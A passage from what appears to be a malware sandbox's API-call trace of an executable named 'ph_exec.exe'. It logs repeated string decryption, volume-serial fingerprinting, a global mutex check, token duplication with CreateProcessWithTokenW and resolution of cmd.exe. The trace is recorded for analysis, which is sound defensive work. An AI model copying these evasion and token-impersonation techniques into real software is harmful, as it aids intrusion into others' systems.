dwFlags=0x0) returned 1 [0058.633] CryptDecrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0058.633] CryptDestroyKey (hKey=0x10dc790) returned 1 [0058.633] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0058.633] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x334 [0058.634] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0x0) returned 0x102 [0058.634] CloseHandle (hObject=0x334) returned 1 [0058.634] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0058.634] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0058.634] Sleep (dwMilliseconds=0x3e8) [0059.865] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0059.917] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dc850) returned 1 [0059.923] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0059.923] CryptDecrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0059.923] CryptDestroyKey (hKey=0x10dc850) returned 1 [0059.923] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0059.923] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0059.923] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0059.923] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dcc50) returned 1 [0059.923] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0059.923] CryptDecrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0059.923] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0059.923] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0059.944] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0059.944] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0059.944] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0059.944] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0059.944] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0059.944] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0059.944] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dcc10) returned 1 [0059.944] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0059.944] CryptDecrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0059.944] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0059.944] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0059.944] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x334 [0059.944] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0x0) returned 0x102 [0059.944] CloseHandle (hObject=0x334) returned 1 [0059.944] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0059.944] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0059.944] Sleep (dwMilliseconds=0x3e8) [0061.228] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0061.228] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dcc10) returned 1 [0061.228] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0061.228] CryptDecrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0061.228] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0061.228] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0061.228] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0061.228] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0061.228] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc650) returned 1 [0061.228] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0061.228] CryptDecrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0061.228] CryptDestroyKey (hKey=0x10dc650) returned 1 [0061.228] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0061.228] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0061.229] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0061.229] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0061.229] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.229] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0061.229] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0061.229] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc710) returned 1 [0061.229] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0061.229] CryptDecrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0061.229] CryptDestroyKey (hKey=0x10dc710) returned 1 [0061.229] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0061.229] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x338 [0061.229] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0x0) returned 0x102 [0061.229] CloseHandle (hObject=0x338) returned 1 [0061.229] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0061.229] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0061.229] Sleep (dwMilliseconds=0x3e8) [0062.750] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0062.750] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dc610) returned 1 [0062.750] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0062.750] CryptDecrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0062.750] CryptDestroyKey (hKey=0x10dc610) returned 1 [0062.750] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0062.750] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0062.750] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0062.750] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc690) returned 1 [0062.750] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0062.750] CryptDecrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0062.750] CryptDestroyKey (hKey=0x10dc690) returned 1 [0062.750] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0062.750] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0062.750] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0062.750] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0062.750] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.751] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0062.751] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b1c5e0 [0062.751] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc950) returned 1 [0062.751] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0062.751] CryptDecrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1c5e0, pdwDataLen=0x2cefc10 | out: pbData=0x2b1c5e0, pdwDataLen=0x2cefc10) returned 1 [0062.751] CryptDestroyKey (hKey=0x10dc950) returned 1 [0062.751] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b154c0 [0062.751] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x31c [0062.751] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0062.751] CloseHandle (hObject=0x31c) returned 1 [0062.751] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1c5e0 | out: hHeap=0x2b10000) returned 1 [0062.751] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0062.751] Sleep (dwMilliseconds=0x3e8) [0064.843] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0064.843] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dc550) returned 1 [0064.843] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0064.843] CryptDecrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0064.843] CryptDestroyKey (hKey=0x10dc550) returned 1 [0064.843] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0064.843] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0064.843] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0064.843] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dcb10) returned 1 [0064.843] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0064.843] CryptDecrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0064.843] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0064.843] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0064.843] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.844] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0064.844] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0064.844] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.844] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0064.844] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b1c940 [0064.844] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc610) returned 1 [0064.844] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0064.844] CryptDecrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1c940, pdwDataLen=0x2cefc10 | out: pbData=0x2b1c940, pdwDataLen=0x2cefc10) returned 1 [0064.844] CryptDestroyKey (hKey=0x10dc610) returned 1 [0064.844] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b154c0 [0064.844] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x31c [0064.844] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0064.844] CloseHandle (hObject=0x31c) returned 1 [0064.844] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1c940 | out: hHeap=0x2b10000) returned 1 [0064.844] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0064.844] Sleep (dwMilliseconds=0x3e8) Thread: id = 4 os_tid = 0x2d4 [0031.630] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b111e0 [0031.630] GetVersion () returned 0x23f00206 [0031.630] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x50) returned 0x2b113f8 [0031.630] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2def768, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2def7d0 | out: phKey=0x2def7d0*=0x10c92d0) returned 1 [0031.630] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2def7b8, dwFlags=0x0) returned 1 [0031.630] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b113f8, pdwDataLen=0x2def784 | out: pbData=0x2b113f8, pdwDataLen=0x2def784) returned 1 [0031.630] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0031.630] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0031.630] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0031.630] Wow64DisableWow64FsRedirection (in: OldValue=0x2def86c | out: OldValue=0x2def86c*=0x0) returned 1 [0031.630] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b113f8 | out: hHeap=0x2b10000) returned 1 [0031.630] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0031.631] GetProcAddress (hModule=0x761b0000, lpProcName="CreateProcessWithTokenW") returned 0x761c0c70 [0031.631] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b111e0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0031.631] GetShellWindow () returned 0x100f0 [0031.631] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x2def874 | out: lpdwProcessId=0x2def874) returned 0x864 [0031.631] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x860) returned 0x228 [0031.631] OpenProcessToken (in: ProcessHandle=0x228, DesiredAccess=0x2000000, TokenHandle=0x2def880 | out: TokenHandle=0x2def880*=0x22c) returned 1 [0031.631] DuplicateTokenEx (in: hExistingToken=0x22c, dwDesiredAccess=0x2000000, lpTokenAttributes=0x2def860, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x2def87c | out: phNewToken=0x2def87c*=0x230) returned 1 [0031.631] CreateProcessWithTokenW (in: hToken=0x230, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2def80c*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2def850 | out: lpCommandLine=0x0, lpProcessInformation=0x2def850*(hProcess=0x26c, hThread=0x270, dwProcessId=0xa28, dwThreadId=0xa78)) returned 1 [0031.805] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x50) returned 0x2b113f8 [0031.805] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2def768, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2def7d0 | out: phKey=0x2def7d0*=0x10c92d0) returned 1 [0031.805] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2def7b8, dwFlags=0x0) returned 1 [0031.805] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b113f8, pdwDataLen=0x2def784 | out: pbData=0x2b113f8, pdwDataLen=0x2def784) returned 1 [0031.805] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0031.805] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0031.805] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75ea6b50 [0031.805] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0031.805] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b113f8 | out: hHeap=0x2b10000) returned 1 [0031.805] CloseHandle (hObject=0x228) returned 1 [0031.805] CloseHandle (hObject=0x26c) returned 1 [0031.805] CloseHandle (hObject=0x270) returned 1 [0031.805] CloseHandle (hObject=0x22c) returned 1 [0031.805] CloseHandle (hObject=0x230) returned 1 [0031.805] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 Thread: id = 10 os_tid = 0xce4 [0036.713] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b11248 [0036.713] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2def738, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2def7a0 | out: phKey=0x2def7a0*=0x10c92d0) returned 1 [0036.713] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2def788, dwFlags=0x0) returned 1 [0036.713] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2def754 | out: pbData=0x2b11248, pdwDataLen=0x2def754) returned 1 [0036.713] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.713] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x14) returned 0x2b11270 [0036.713] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x14) returned 0x2b113d8 [0036.713] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b113f8 [0036.713] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2def710, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2def778 | out: phKey=0x2def778*=0x10c92d0) returned 1 [0036.713] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2def760, dwFlags=0x0) returned 1 [0036.713] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b113f8, pdwDataLen=0x2def72c | out: pbData=0x2b113f8, pdwDataLen=0x2def72c) returned 1 [0036.713] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.713] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b113f8 | out: hHeap=0x2b10000) returned 1 [0036.713] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2b11270, nSize=0xa | out: lpDst="") returned 0x1c [0036.713] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b113d8 | out: hHeap=0x2b10000) returned 1 [0036.713] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b11270, Size=0x26) returned 0x2b11270 [0036.713] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x26) returned 0x2b113d8 [0036.713] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11408 [0036.713] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2def70c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2def774 | out: phKey=0x2def774*=0x10c92d0) returned 1 [0036.714] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2def75c, dwFlags=0x0) returned 1 [0036.714] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11408, pdwDataLen=0x2def728 | out: pbData=0x2b11408, pdwDataLen=0x2def728) returned 1 [0036.714] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.714] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11408 | out: hHeap=0x2b10000) returned 1 [0036.714] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2b11270, nSize=0x13 | out: lpDst="") returned 0x1c [0036.714] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b113d8 | out: hHeap=0x2b10000) returned 1 [0036.714] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b11270, Size=0x4a) returned 0x2b113d8 [0036.714] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4a) returned 0x2b11430 [0036.714] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11488 [0036.714] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2def70c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2def774 | out: phKey=0x2def774*=0x10c92d0) returned 1 [0036.714] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2def75c, dwFlags=0x0) returned 1 [0036.714] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11488, pdwDataLen=0x2def728 | out: pbData=0x2b11488, pdwDataLen=0x2def728) returned 1 [0036.714] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.714] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0036.714] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2b113d8, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0036.714] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11430 | out: hHeap=0x2b10000) returned 1 [0036.714] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.714] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x50) returned 0x2b11248 [0036.714] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2def730, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2def798 | out: phKey=0x2def798*=0x10c8d90) returned 1 [0036.714] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x2def780, dwFlags=0x0) returned 1 [0036.714] CryptDecrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2def74c | out: pbData=0x2b11248, pdwDataLen=0x2def74c) returned 1 [0036.714] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0036.714] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.714] GetProcAddress (hModule=0x75e90000, 